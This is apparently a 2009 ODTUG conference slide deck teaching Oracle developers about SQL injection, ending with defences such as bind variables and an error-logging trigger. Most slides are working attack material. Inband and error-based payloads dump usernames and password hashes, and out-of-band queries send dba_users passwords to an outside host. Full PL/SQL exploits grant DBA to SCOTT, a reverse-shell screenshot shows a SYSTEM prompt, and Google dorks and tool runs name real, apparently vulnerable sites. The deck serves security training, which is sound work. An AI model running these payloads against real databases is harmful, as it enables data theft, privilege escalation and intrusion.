ODTUG - SQL Injection Crash Course for Oracle Developers

Alexander Kornbrust
11-Oct-2009
Agenda

- Introduction
- How (external) hackers work
- Tools
- SQL Injection Basics
- SQL Injection in mod_plsql
- SQL Injection in PL/SQL
- Solution
- Recommendation
About me

Red-Database-Security GmbH
- Company specialized in Oracle security only
- Customers worldwide
- Security Audits, Pentests, Training

Alexander Kornbrust
- Oracle Security Evangelist
- CEO of Red-Database-Security GmbH
- Working with Oracle Database since 1992
- Reported more than 400 security bugs in Oracle products
Introduction

SQL Injection is the most dangerous security vulnerability in (web) application.

Many developers and developers still think that this often just cosmetic problem…

But it's a serious problem bringing the entire network in danger…

Let's have a look what some Oracle managers think/thought about it…
How (external) hackers work

It is important to understand how external hackers work: it's useful to know their typical approach to abuse SQL Injection …
How (external) hackers work

- Find a target via google ("google dorks") or pirated/open source web application security scanner (Acunetix, Pangolin, …)
- Download the interesting content from the database (creditcards, emails+passwords, …)
- Upload binaries to the database server
- Server Hopping to other internal servers

⇒ Special database (or Oracle) knowledge is NOT necessary to do most of these tasks. Normally handled by the tool.
Find vulnerable sites via google

Web

Search for "ociexecute "ora 01756""

Results 1 - 100 of about 10,800 for "ociexecute "ora 01756"

[...]

MGM.com: Official website of Metro-Goldwyn-Mayer Inc. - Ars...
Find vulnerable sites via google

Google

stpartner.st.com/pls/portal30/portal_sso.st_login_page - Similar...
Xmarks site page for st stpartner.st.com/pls/portal30/portal_sso.st_login_page with topics, reviews, ratings and comments.
www.xmarks.com/site/.../pls/portal30/portal_sso.st_login_page - Cached - Similar - 💬 ⬆️ ⬇️ ⬅️

www.beaumonthospitals.com/pls/portal30/site_web_pkg.page?xpageid ...
Xmarks site page for beaumonthospitals www.beaumonthospitals.com/pls/portal30/site.web_pkg.page%253Fxpageid=home with topics, reviews, ratings and comments.
www.xmarks.com/.../pls/portal30/site.web_pkg.page%253Fxpageid=home - Cached - Similar - 💬 ⬆️ ⬇️ ⬅️

The Parents Survey 2009 was completed by 49 parents (5 with children attending nursery school, 29 with children attending primary schools, ...
www4.south-ayrshire.gov.uk/pls/portal30/.../719122A4CEB36C77E0440003BA36093E - Similar - 💬 ⬆️ ⬇️ ⬅️
SQL Injection Tool - Websparker (commercial)

http://www.mavitunasecurity.com/

Demo: http://tinyurl.com/yl5wgx5
SQL Injection Tool – Pangolin (commercial)
SQL Injection Tool – Matrixay (commercial)
we are here:

SQL Injection Tool – SQLMap (free)
SQL Injection Tool - darkORASQLi.py (free)

G:\darkcode>python darkORASQLi.py -u "http://www.heinrich-vogel-shop.de/detail.php?id=2468" --info

<table>
<thead>
<tr>
<th>d3ck4, <a href="mailto:hacking.expose@gmail.com">hacking.expose@gmail.com</a></th>
<th>v1.0</th>
</tr>
</thead>
<tbody>
<tr>
<td>05/2009</td>
<td></td>
</tr>
<tr>
<td>darkORASQLi.py</td>
<td></td>
</tr>
<tr>
<td>-- Multi Purpose Oracle SQL Injection Tool --</td>
<td></td>
</tr>
<tr>
<td>Usage: darkORASQLi.py [options]</td>
<td></td>
</tr>
<tr>
<td>-h help</td>
<td></td>
</tr>
<tr>
<td>hackingexpose.blogspot.com</td>
<td></td>
</tr>
</tbody>
</table>

[+] URL: http://www.heinrich-vogel-shop.de/detail.php?id=2468
[+] 22:24:37
[+] Evasion: + --
[+] Cookie: None
[+] SSL: No
[+] Agent: Microsoft Internet Explorer/4.0b1 (Windows 95)
[-] Proxy Not Given
[+] Gathering Oracle Server Configuration...

Database: GECONT
User: SHOP2
Version: Oracle Database 10g Enterprise Edition Release 10.1.0.4.0 - Prod

[+] Do we have Access to Oracle Database: NO

[-] Oracle user enumeration has been skipped!
[-] We do not have access to Oracle DB on this target!

[-] 22:24:54
[-] Total URL Requests: 3
[-] Done

Don't forget to check darkORASQLi.log
After stealing the data

- Get a reverse shell
- Upload and run binaries (e.g. keylogger, trojans, ...) on the database server
- Add malicious java script code to the web application (to infect web users) (SQL Worm)
- Jump to other servers (DMZ/Intranet)
Run OS Commands via SQL Injection

http://www.notsosecure.com/folder2/ora_cmd_exec.pl
Run OS Commands via SQL Injection

SQL Injection

Code Execution

Waiting for connection from the target...
192.168.10.68:1316 connected.

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>whoami
nt authority\system

C:\WINDOWS\system32>
At the moment most web security scanner have only a basic Oracle support. But this is currently changing.

Upcoming web security scanners will also support APEX, mod_plsql, better Oracle exploitation...
SQL Injection Basics

SQL Injection Basics in Web Apps
SQL Injection Basics

Specialties of Oracle SQL Injection

- No stacked queries (combine multiple queries separated by ;)
- More difficult to run OS commands than MSSQL or MySQL
Basics – Injection Points

$$\text{SELECT (I) }$$
$$\text{FROM (II) }$$
$$\text{WHERE (III) [ common ] }$$
$$\text{GROUP BY (IV) }$$
$$\text{HAVING (V) }$$
$$\text{UNION }$$
$$\text{SELECT ... }$$
$$\text{ORDER BY (VI) [ common ] }$$
Basics – Common Approach

Approach of exploiting web apps:

1. Construct a valid SQL statement
2. Analyze the data structure of the web app
3. Retrieve the data
Basics – Webapps

There are 3 main common techniques of exploiting SQL Injection in webapps

* Inband easiest
* Out-of-Band easier
* Blind more requests
Information Retrieval via SQL Injection

- **Inband**
  - Part of the normal result set
  - In error messages
- **Out-of-band**
  - HTTP
  - DNS
- **Blind / Inference**
Definition Inband SQL Injection

Retrieve the results of the SQL Injection in the same input (e.g. in the browser). Data can be display in the normal output or in an error message.
Most common techniques for Inband are

* UNION based attacks
* Error Based
### Basics – Inband – Sample 1

Show a list of all employees by name

<table>
<thead>
<tr>
<th>EMPNO</th>
<th>ENAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>7566</td>
<td>JONES</td>
</tr>
<tr>
<td>7876</td>
<td>ADAMS</td>
</tr>
<tr>
<td>7900</td>
<td>JAMES</td>
</tr>
<tr>
<td>ALEX</td>
<td>ALEXANDER01</td>
</tr>
<tr>
<td>ALEXEPLUS</td>
<td></td>
</tr>
<tr>
<td>ANDREY</td>
<td></td>
</tr>
<tr>
<td>ANONYMOUS</td>
<td></td>
</tr>
<tr>
<td>APEX_030200</td>
<td></td>
</tr>
<tr>
<td>APEX_PUBLIC_USER</td>
<td></td>
</tr>
<tr>
<td>BF1</td>
<td></td>
</tr>
<tr>
<td>BF2</td>
<td></td>
</tr>
<tr>
<td>BF3</td>
<td></td>
</tr>
<tr>
<td>BF4</td>
<td></td>
</tr>
<tr>
<td>CREDIT</td>
<td></td>
</tr>
<tr>
<td>CTXSYS</td>
<td></td>
</tr>
<tr>
<td>DBMS_FLASHBACK</td>
<td></td>
</tr>
<tr>
<td>DBSNMP</td>
<td></td>
</tr>
<tr>
<td>DB_AUDIT</td>
<td></td>
</tr>
<tr>
<td>DEMO1</td>
<td></td>
</tr>
<tr>
<td>DEV1</td>
<td></td>
</tr>
<tr>
<td>DEV2</td>
<td></td>
</tr>
<tr>
<td>DIP</td>
<td></td>
</tr>
<tr>
<td>DUMMY</td>
<td></td>
</tr>
<tr>
<td>EXFSYS</td>
<td></td>
</tr>
<tr>
<td>FLOWS_020000</td>
<td></td>
</tr>
<tr>
<td>FLOWS_020100</td>
<td></td>
</tr>
<tr>
<td>FLOWS_020200</td>
<td></td>
</tr>
</tbody>
</table>

This dynamic site was generated with CodeCharge
Basics – Inband – order.jsp I

http://victim.com/order.jsp?id=17 Variant (a)

http://victim.com/order.jsp?id=17 Variant (b)

Web application constructs:

Variant (a)

```
SELECT *
FROM table
WHERE id='17'
```

Variant (b)

```
SELECT *
FROM table
WHERE id=17
```
Basics – Inband – order.jsp II

http://victim.com/order.jsp?id=17' Variant (a)
http://victim.com/order.jsp?id=17' Variant (b)

Web application constructs:

Variant (a)
SELECT *
FROM table
WHERE id='17''

Variant (b)
SELECT *
FROM table
where id=17'

➤ Throws an Oracle error
Basics – Inband – order.jsp II

http://victim.com/order.jsp?id=17' or 1=1-- Variant (a)
http://victim.com/order.jsp?id=17 or 1=1-- Variant (b)

Web application constructs:

Variant (a)
SELECT *
FROM table
WHERE id='17' or 1=1 --

Variant (b)
SELECT *
FROM table
WHERE id=17 or 1=1--

⇒ This SQL statement is correct because the closing single quote is comment out
Basics – Inband – order.jsp III

http://victim.com/order.jsp?id=17' UNION SELECT name FROM TABLE-- Variant (a)

http://victim.com/order.jsp?id=17 UNION SELECT name FROM TABLE-- Variant (b)

Web application constructs:

Variant (a)

SELECT *
FROM table
WHERE id='17'
UNION
SELECT name
FROM TABLE --

Variant (b)

SELECT *
FROM table
where id=17
UNION
SELECT name
FROM TABLE--

⇒ ORA-01789: query block has incorrect number of result columns
Now we must find out how many columns are used in the first SELECT statement. The most common techniques are the usage of "ORDER BY" or adding NULL values to the second query.

```
SELECT * FROM table
UNION
SELECT null, null FROM table
```

```
SELECT * FROM table
ORDER BY 8
```
Basics – Inband – order.jsp IV

SELECT * FROM table  
UNION  
SELECT null,null FROM dual

⇒ ORA-01789: query block has incorrect number of result columns

SELECT * FROM table  
UNION  
SELECT null,null,null FROM dual

⇒ ORA-01789: query block has incorrect number of result columns

SELECT * FROM table  
UNION  
SELECT null,null,null,null FROM DUAL

⇒ Number of Columns = 4
Basics – Inband – order.jsp V

SELECT * FROM table  
ORDER BY 8  

⇒ ORA-01785: ORDER BY item must be the number of a SELECT-list expression

SELECT * FROM table  
ORDER BY 4  

⇒ Normal output

SELECT * FROM table  
ORDER BY 6  

⇒ ORA-01785: ORDER BY item must be the number of a SELECT-list expression

SELECT * FROM table  
ORDER BY 5  

⇒ ORA-01785: ORDER BY item must be the number of a SELECT-list expression
Show a list of all employees by name

<table>
<thead>
<tr>
<th>EMPNO</th>
<th>ENAME</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>MV1</td>
</tr>
<tr>
<td></td>
<td>REP1</td>
</tr>
<tr>
<td></td>
<td>XXXXXX</td>
</tr>
</tbody>
</table>
The most known package to create specially crafted error messages is the package utl_inaddr. This package is granted to public and responsible for the name resolution:

```sql
select utl_inaddr.get_host_name('127.0.0.1')
from dual;
```

localhost
Get information via error messages:

```sql
select utl_inaddr.get_host_name('oow2009') from dual;
```

*  
ERROR at line 1:  
ORA-29257: host oow9 unknown  
ORA-06512: at "SYS.UTL_INADDR", line 4  
ORA-06512: at "SYS.UTL_INADDR", line 35  
ORA-06512: at line 1
Replace the string with a subselect to modify the error message:

```sql
select utl_inaddr.get_host_name((
    select username||'='||password from dba_users where rownum=1)
) from dual;
```

* 

ERROR at line 1:
ORA-29257: host SYS=D4DF7931AB130E37 unknown
ORA-06512: at "SYS.UTL_INADDR", line 4
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1
http://victim.com/order.cfm?id=111||utl_inaddr.get_host_name(((select banner from v$version where rownum=1))

**Message:**  Error Executing Database Query.

**Native error code:** 29257

**Detail:** [Macromedia][Oracle JDBC Driver][Oracle]
ORA-29257: host Oracle Enterprise Edition 10.1.0.5 for Solaris unknown
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1
Combining multiple rows into a single command is not that simple but useful in situations where only 1 row can be retrieved (e.g. in error messages).

Oracle offers different possibilities to do this:

* stragg (Oracle 11g+)
* XML (Oracle 9i+)
* CONNECT BY (all Oracle versions)
Combine multiple rows II – stragg

Select utl_inaddr.get_host_name('Accounts=' || (select sys.stragg(distinct username || ';') as string from all_users)) from dual

ERROR at line 1:
ORA-29257: host Accounts=ALEX;ANONYMOUS;APEX_PUBLIC_USER;CTXSYS;DBSNMP;DEMO1;DIP;DUMMY;EXFSYS;FLOWS_030000;FLOWS_FILES;MDDATA;MDSYS;MGMT_VIEW;MONODEMO;OLAPSYS;ORACLE_OCM;ORDPLUGINS;ORDSYS;OUTLN;OWBSYS;SI_INFORMTN_SCHEMA;SPATIAL_CSW_ADMIN_USR;SPATIAL_WFS_ADMIN_USR;SYS;SYSMAN;SYSTEM;TSM SYS;WKPROXY;WKSYS;WK_TEST;WMSYS;XDB;XS$NULL;
unknown
ORA-06512: at "SYS.UTL_INADDR", line 4
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1
select utl_inaddr.get_host_name((select xmltransform(sys_xmlagg(sys_xmlgen(username)),xmltype('<?xml version="1.0"?>' '<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><xsl:for-each select="/ROWSET/USERNAME"><xsl:value-of select="text()"/></xsl:for-each></xsl:template></xsl:stylesheet>')).getstringval() listagg from all_users) from dual

ERROR at line 1:
ORA-29257: host
Accounts=ALEX;ANONYMOUS;APEX_PUBLIC_USER;CTXSYS;DBSNMP;DEMO1;DIP;DUMMY;EXFSYS;FLOWS_030000;FLOWS_FILES;MDDATA;MDSYS;MGMT_VIEW;MONODEMO;OLAPSYS;ORACLE_OCM;ORDPLUGINS;ORDSYS;OUTLN;OWBSYS;SI_INFORMTN_SCHEMA;SPATIAL_CSWSADMIN_USR;SPATIAL_WFS_ADMIN_USR;SYS;SYMAN;SYSTEM;TSMSYS;WKPROXY;WKSYS;WK_TEST;WMSYS;XDB;XS$NULL;
unknown
SELECT SUBSTR (SYS_CONNECT_BY_PATH (username, ';'), 2) csv FROM (SELECT username, ROW_NUMBER () OVER (ORDER BY username) rn, COUNT (*) OVER () cnt FROM all_users) WHERE rn = cnt START WITH rn = 1 CONNECT BY rn = PRIOR rn + 1

ERROR at line 1:
ORA-29257: host
Accounts=ALEX;ANONYMOUS;APEX_PUBLIC_USER;CTXSYS;DBSNMP;DEMO1;DIP;DUMMY;EXFSYS;FLOW$_030000;FLOW$_FILES;MDDATA;MDSYS;MGMT_VIEW;MONODEMO;OLAPSYS;ORACLE_OCM;ORDPLUGINS;ORDSYS;OUTLN;OWBSYS;SI_INFO;RTMN_SCHEMA;SPATIAL_CSW_ADMIN_USR;SPATIAL_WFS.ADMIN_USR;SYS;SYSDATA;SYSSMAN;SYSTEM;TSMSYS;WKPROXY;WKSYS;WK_TEST;WMSYS;XDB;XS$NULL;unknown
Basics – Multiple Columns in 1 row

http://victim.com/order.cfm?id=111|utl_inaddr.get_host_name((SELECT SUBSTR (SYS_CONNECT_BY_PATH (username , ';'), 2) csv FROM (SELECT username , ROW_NUMBER () OVER (ORDER BY username ) rn, COUNT (*) OVER () cnt FROM all_users) WHERE rn = cnt START WITH rn = 1 CONNECT BY rn = PRIOR rn + 1))

Message: Error Executing Database Query.
Native error code: 29257
Detail: [Macromedia][Oracle JDBC Driver][Oracle]
ERROR at line 1:
ORA-29257: host Accounts=ALEX;ANONYMOUS;APEX_PUBLIC_USER;CTXSYS;DBSNMP;DEMO1;DIP;DUMMY;EXFSYS;FLOWS_030000;FLOWS_FILES;MDDATA;MDSYS;MGMT_VIEW;MONODEMO;OLAPSYS;ORACLE_OCM;ORDPLUGINS;ORDSYS;OUTLN;OWBSYS;SI_INFORMTN_SCHEMA;SPATIAL_CSW_ADMIN_USR;SPATIAL_WFS_ADMIN_USR;SYS;SYMAN;SYSTEM;TSMSYS;WKPROXY;WKSYS;WK_TEST;WMSYS;XDB;XS$NULL; unknown
ORA-06512: at "SYS.UTL_INADDR", line 4
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1
In Oracle 11g Oracle introduced access control lists. By default outgoing HTTP/DNS-requests as non-DBA user are not allowed and throw an error.

Example:

```sql
select utl_inaddr.get_host_name('192.168.2.107')
from dual;
```

*  
ERROR at line 1:  
ORA-24247: network access denied by access control list (ACL)  
ORA-06512: at "SYS.UTL_INADDR", line 4  
ORA-06512: at "SYS.UTL_INADDR", line 35  
ORA-06512: at line 1
But there enough alternatives for utl_inaddr: 
ordsys.ord_dicom.getmappingxpath, dbms_aw_xml.readawmetadata, 
ctxsys.drithsx.sn, ...

```
or 1=ordsys.ord_dicom.getmappingxpath((select banner
from v$version where rownum=1),user,user) --
```

ORA-53044: invalid tag: Oracle Enterprise Edition 
11.1.0.6

```
or 1=SYS.DBMS_AW_XML.READAWMETADATA((select banner
from v$version where rownum=1),null) --
```

ENG: ORA-34344: Analytic workspace Oracle Enterprise 
Edition 11.1.0.6 is not attached.
Basics – Out-of-Band

Definition Out-of-Band:

A different channel (e.g. HTTP, DNS) is used to transfer the data from the SQL query. If this is working it is the easiest way to retrieve a large amount of data from the database.
UTL_HTTP is often revoked from public on hardened databases. In this case HTTPURITYPE is normally working because it is not documented as a potential security problem in the Oracle documentation.

**Send information via HTTP to an external site via utl_http**

```sql
select utl_http.request ('http://www.orasploit.com/'||
(select password from dba_users where rownum=1)) from dual;
```

**Send information via HTTP to an external site via HTTPURITYPE**

```sql
select HTTPURITYPE( 'http://www.orasploit.com/'||
(select password from dba_users where rownum=1) ).getclob() from dual;
```
Send information via DNS (max. 64 bytes) to an external site

```sql
select utl_http.request ('http://www.'||(select password 
from dba_users where rownum=1)||'.orasploit.com/') 
from dual;
```

⇒ DNS-Request:
www.B3B4C4D878234234234.orasploit.com
Basics – Out-of-Band

http://victim.com/order.jsp?id=17' or 1=sum(length (utl_http.request('http://www.orasploit.com/'||(select banner from v$version)))--

Web application constructs:

```
SELECT *
FROM table
WHERE id='17' or 1=sum(length(utl_http.request('http://www.orasploit.com/'||(select banner from v$version)))--
```
We are here:

Basics – Out-of-Band

Content of multiple tables in a single request

```
http://victim.com/order.jsp?id=17' or 1= ((select sum(length(utl_http.request('http://www.orasploit.com/'||username||'='||password) from dba_users))) + ((select sum(utl_http.request('http://www.orasploit.com/'||owner||'='||table_name) from dba_tables))) + ((select sum(length(utl_http.request('http://www.orasploit.com/'||owner||'='||table_name||'='||column_name)) from dba_users))) + ((select sum(length(utl_http.request('http://www.orasploit.com/'||grantee||'='||granted_role) from dba_role_privs))) + ((select sum(length(utl_http.request('http://www.orasploit.com/'||grantee||'='||owner||'='||table_name||'='||privilege||'='||grantable) from dba_tab_privs))) --
```
Basics – Blind

Definition Blind:

Different timings / results are used to retrieve data from the database. Oracle offers 2 possibilities to run blind injection.

- DECODE  (normally used by Oracle developers)
- CASE  (normally used by hackers)
Basics – Blind

Use different timings of select statements to get information

**Pseudo-Code:**

If the first character of the SYS password hash is a 'A' 
then
    select count(*) from all_objects,all_objects
else
    select count(*) from dual
end if;
select decode(substr(user,1,1),'S',(select count (*) from all_objects),0) from dual;

0

Elapsed: 00:00:00.00

select decode(substr(user,1,1),'A',(select count (*) from all_objects),0) from dual;

50714

Elapsed: 00:00:22.50
Inference/Blind methods

SQL> select decode(substr(user,1,1),'A',(select count(*) from all_objects),0) from dual;
Elapsed: 00:00:22.50 => We found the first character 'A'
SQL> select decode(substr(user,2,1),'A',(select count(*) from all_objects),0) from dual;
Elapsed: 00:00:00.00 => Second character is not an A
SQL> select decode(substr(user,2,1),'B',(select count(*) from all_objects),0) from dual;
Elapsed: 00:00:00.00 => Second character is not a B
[…]
SQL> select decode(substr(user,2,1),'L',(select count(*) from all_objects),0) from dual;
Elapsed: 00:00:22.50 => We found the second character 'L'
SQL> select decode(substr(user,3,1),'A',(select count(*) from all_objects),0) from dual;
Elapsed: 00:00:00.00 => Third character is not an A
SQL> select decode(substr(user,3,1),'B',(select count(*) from all_objects),0) from dual;
Elapsed: 00:00:00.00 => Third character is not an B
SQL Injection Basics

SQL Injection in mod_plsql
SQL Injection in mod_plsql

In opposite to normal web applications, mod_plsql applications are using anonymous PL/SQL blocks to run code. This allows an easier exploitation of vulnerabilities...
SQL Injection in mod_plsql

Database

TNS Listener

Apache (OHS)

mod_plsql

DMZ

Firewall

internal

Firewall
SQL Injection in mod_plsql

In opposite to normal web applications, mod_plsql applications are using anonymous PL/SQL blocks to run code. This allows an easier exploitation of vulnerabilities...
SQL Injection in mod_plsql

A typical mod_plsql URL looks like

http://server/pls/mydad/user1.procedure
or
http://server/pls/mydad/user1.package.procedure

Mod_plsql is using blacklisting. All URLs containing the strings

SYS.*   DBMS_*   UTL_*
OWA*   HTP.*   HTF.*

are automatically blocked. In older versions of mod_plsql this could be bypassed.

Harden the APEX and/or mod_plsql applications using APEX settings or enhance the mod_plsql blacklist
Create a PL/SQL procedure via a web interface
http://www.hacked.com/pls/dad/
ctxsys.driload.validate_stmt?sqlstmt=CREATE
+OR+REPLACE+PROCEDURE+AHT+AS+BEGIN
+HTP.PRINT('hello');+END;

Grant the procedure AHT to public
http://www.hacked.com/pls/dad/
ctxsys.driload.validate_stmt?sqlstmt=GRANT
+EXECUTE+ON+AHT+TO+PUBLIC

Execute the procedure AHT
http://www.hacked.com/pls/dad/ctxsys.AHT
Mod_plsql – Hacking example

Get the version number

Oracle 9i Enterprise Edition Release 9.2.0.1.0 - Production PL/SQL Release 9.2.0.1.0 - Production
CORE 9.2.0.1.0 Production TNS for 32-bit Windows: Version 9.2.0.1.0 - Production NLSRTL Version 9.2.0.1.0 - Production

Oracle 9.2.0.1 contains hundreds of vulnerabilities.

Alternatively we can use the <<label>> syntax to bypass the blacklisting.
SQL Injection Basics in PL/SQL Code
SQL Injection in PL/SQL Code

Probably the biggest problem inside the database. In the last 5 years Oracle fixed 1500+ bugs. By abusing unsecure PL/SQL code it is possible to escalate privileges, run OS commands, ...

During security audits I performed I never found secure PL/SQL.

Last year Oracle released 2 tutorials on this topic. But even the Oracle tutorial contains insecure code…

A typical PL/SQL exploits consists of 2 parts. The classic technique requires a procedure to do the privilege escalation. An alternative solution uses cursor objects via dbms_sql (until 10g Rel.2).

“Shellcode”

    CREATE OR REPLACE FUNCTION F1 return number
    authid current_user as
    pragma autonomous_transaction;
    BEGIN
    EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
    COMMIT;
    RETURN 1;
    END;
    /

PL/SQL Functions and Procedures
The following exploit uses sys.kupw$worker.main to become DBA. This package is available since Oracle 10g Rel. 1.

**Exploit**

```
exec sys.kupw$WORKER.main('x','YY'' and 1=scott.f1 -- mytag12');
```

After executing this code you must re-login or run the command “set role dba” to become DBA.
If we have access to the database, we can use the view V$SQL or V$SQL_AREA to get additional information for the exploit.

A different technique using error messages will be explained in the exercises.
Execute the vulnerable procedure with 2 random parameters

SQL> exec dbms_cdc_impdp.validate_import
    ('XXXXXXXXXXX','YYYYYYYYY');

* 
ERROR at line 1:
ORA-00942: table or view does not exist
ORA-06512: at "SYS.DBMS_CDC_IMPDP", line 451
ORA-06512: at line 1

Lookup in the view v$sql for the constructed SQL statement. Only correct statements are displayed. Incorrect statement are not part of the v$sql.

Select sql_text from v$SQL where lower(sql_text) like '%xxxx%'

DELETE FROM "XXXXXXXXXXX"."YYYYYYYYY" WHERE import_error = 'Y'

------------------------------------------------------------------------
Now we lookup in the database as DBA where the string 'XXXXXXXXXXX' appears

SQL> Select sql_text from v$SQL where lower(sql_text) like '%xxxxx%

DELETE FROM "XXXXXXXXXXX"."YYYYYYYY" WHERE import_error = 'Y'

We can control the string 'XXXXXXXXXXX' and must replace this string with a statement which is executing our payload function F1.

DELETE FROM "SYS"."DUAL" where 1=user1.f1--"."YYYYYYYY" WHERE import_error = 'Y'

The string in red is our exploit.
The following exploit is the result of checking the resulting SQL statements

```
exec dbms_cdc_impdp.validate_import ('SYS'.'DUAL'
   where  1 = SCOTT.F1  --'.'x9');
```

Oracle creates the following SQL string in the procedure and executes our “shellcode”

```
DELETE FROM "SYS"."DUAL" where  1 = SCOTT.F1  --"."x9" WHERE import_error = 'Y'
```
At the Blackhat Federal 2007 David Litchfield presented a technique to do privilege escalation without using a procedure. To do this it is necessary to create a cursor with `dbms_sql` which will be injected instead of our payload function. This technique does no longer work in 11g.

The exploits are identical. We only replace

    and 1=scott.f1

with

    and 1=dbms_sql.execute(1)

⇒ `dbms_sql` should always revoked from PUBLIC
A modification of this exploit without “CREATE PROCEDURE” works with a cursor object and `dbms_sql.execute`.

```sql
DECLARE
    MYC NUMBER;
BEGIN
    MYC := DBMS_SQL.OPEN_CURSOR;
    DBMS_SQL.PARSE(MYC,
        'declare pragma autonomous_transaction;
        begin execute immediate ''grant dba to scott'';
        commit;end '';0);
    sys.KUPW$WORKER.MAIN(''x'','' and 1=dbms_sql.execute(''||myc||'')--'');
END;
/

set role dba;
revoke dba from scott;
```
Solutions
Solutions for Developers

Fixing most of the SQL Injection problems is easy for developers

1. Use Bind variables whenever possible
2. Validate input (from user & database) before using in dynamic statements
3. Double check input validation routines. Often vulnerable.
4. Try to use programming frameworks
5. Let other people review your sourcecode
6. Work with limited privileges (Non-DBA) to reduce the impact
Solutions for DBA

DBAs normally can't fix SQL Injection problems. But they can mitigate the risk.

1. Revoke `dbms_sql` from public
2. Be careful with "CREATE PROCEDURE" and `dbms_sql`
3. Use an error trigger to detect SQL Injection attacks
4. Use a DDL trigger to detect privilege escalation attacks
A typical approach to find SQL injection (in web applications) is to use the single quote in a parameter field. An error message from the database (e.g. ORA-01756) is an indicator for vulnerable fields.

**Typical Oracle error messages for SQL Injection:**
- ORA-00900: invalid SQL statement
- ORA-00906: missing left parenthesis
- ORA-00907: missing right parenthesis
- ORA-00911: invalid character
- ORA-00920: invalid relational operator
- ORA-00923: FROM keyword not found where expected
- ORA-00933: SQL command not properly ended
- ORA-00970: missing WITH keyword
- ORA-01031: insufficient privileges
- ORA-01719: outer join operator not allowd in operand of OR or in
- ORA-01722: invalid number (if strings are enumerated via rownum and rownum does not exist)
- ORA-01742: comment not terminated properly
- ORA-01756: quoted string not properly terminated
- ORA-01789: query block has incorrect number of result columns
- ORA-01790: expression must have same datatype as corresponding
Solution– Error Trigger II

Error trigger (optional)

This trigger is storing all Oracle error messages occurred on the server

Command (as user SYS):

SQL> -- Create a table containing the error messages
create table system.oraerror (  
id NUMBER,  
log_date DATE,  
log_usr VARCHAR2(30),  
terminal VARCHAR2(50),  
err_nr NUMBER(10),  
err_msg VARCHAR2(4000),  
stmt CLOB
);

-- Create a sequence with unique numbers
create sequence system.oraerror_seq
start with 1
increment by 1
minvalue 1
nomaxvalue
nocache
nocycle;
CREATE OR REPLACE TRIGGER after_error  
AFTER SERVERERROR ON DATABASE  
declare 
pragma autonomous_transaction; 
id number; sql_text ORA_NAME_LIST_T; v_stmt CLOB; n number; 
BEGIN 
SELECT oraerror_seq.nextval INTO id FROM dual; 
n := ora_sql_txt(sql_text); 
if n >= 1 then 
for i in 1..n loop 
v_stmt := v_stmt || sql_text(i); 
end loop; 
end if; 
end if; 
end if; 
end for n in 1..ora_server_error_depth loop 
-- log only potential SQL Injection attempts 
if ora_server_error(n) in 
( '900','906','907','911','917','920','923','933','970','1031','1476','1719','1722','1742','1756','1789','1790','24247','29257','29540') 
then 
insert into system.oraerror values (id, sysdate, ora_login_user, 
ora_client_ip_address, ora_server_error(n), ora_server_error_msg(n), 
v_stmt); 
-- send the information via email to the DBA 
-- <<Insert your PLSQL code for sending emails >> 
commit; end if; end loop; 
end after_error; /
Summary

SQL Injection is the biggest problem in database security. Every developer, DBA and manager should be aware of this serious problem.

Secure development is not difficult and can save a lot of trouble/cost.

- Train the developers in (Oracle/ Web) security
- Review every web application regularly (manual audit or tool)
- Show (simple) SQL Injection demonstrations to the management ("Some managers want to see blood")
Sign up for a **free** Associate Membership and access great technical content

Oracle Development Tools User Group

www.odtug.com

**A Real World User Group**
For **Real World** Developers
OPP2009
PL/SQL TRAINING
Featuring Steven Feuerstein, Quest Software

APEXPOSED 2009!
APPLICATION EXPRESS TRAINING
Featuring Scott Spendolini, Sumner Technologies

www.odtugopp.com

www.odtugapextraining.com

The PL/SQL & APEX Experts Converge!

NOVEMBER 10-11, 2009
Sheraton Gateway Atlanta Airport, Atlanta

TWO TRAINING EVENTS IN ONE!
ANNOUNCING ODTUG KALEIDOSCOPE 2010 IN WASHINGTON, D.C.

TOPICS
- Application Express
- Database Development
- Essbase
- Hyperion Applications
- Hardcore Hyperion
- Middleware and Client-Side Development
- Oracle Business Intelligence and Hyperion Reporting
- SOA and BPM
- Other

MARK YOUR CALENDARS NOW - JUNE 27-JULY 1

BE A PRESENTER - SUBMIT AN ABSTRACT

GO TO WWW.ODTUGKALEIDOSCOPE.COM FOR MORE DETAILS
Contact

Alexander Kornbrust
Red-Database-Security GmbH
Bliesstrasse 16
D-66538 Neunkirchen
Germany

Phone:  +49 (0)6821 – 95 17 637
Fax:      +49 (0)6821 – 91 27 354
E-Mail:  info at red-database-security.com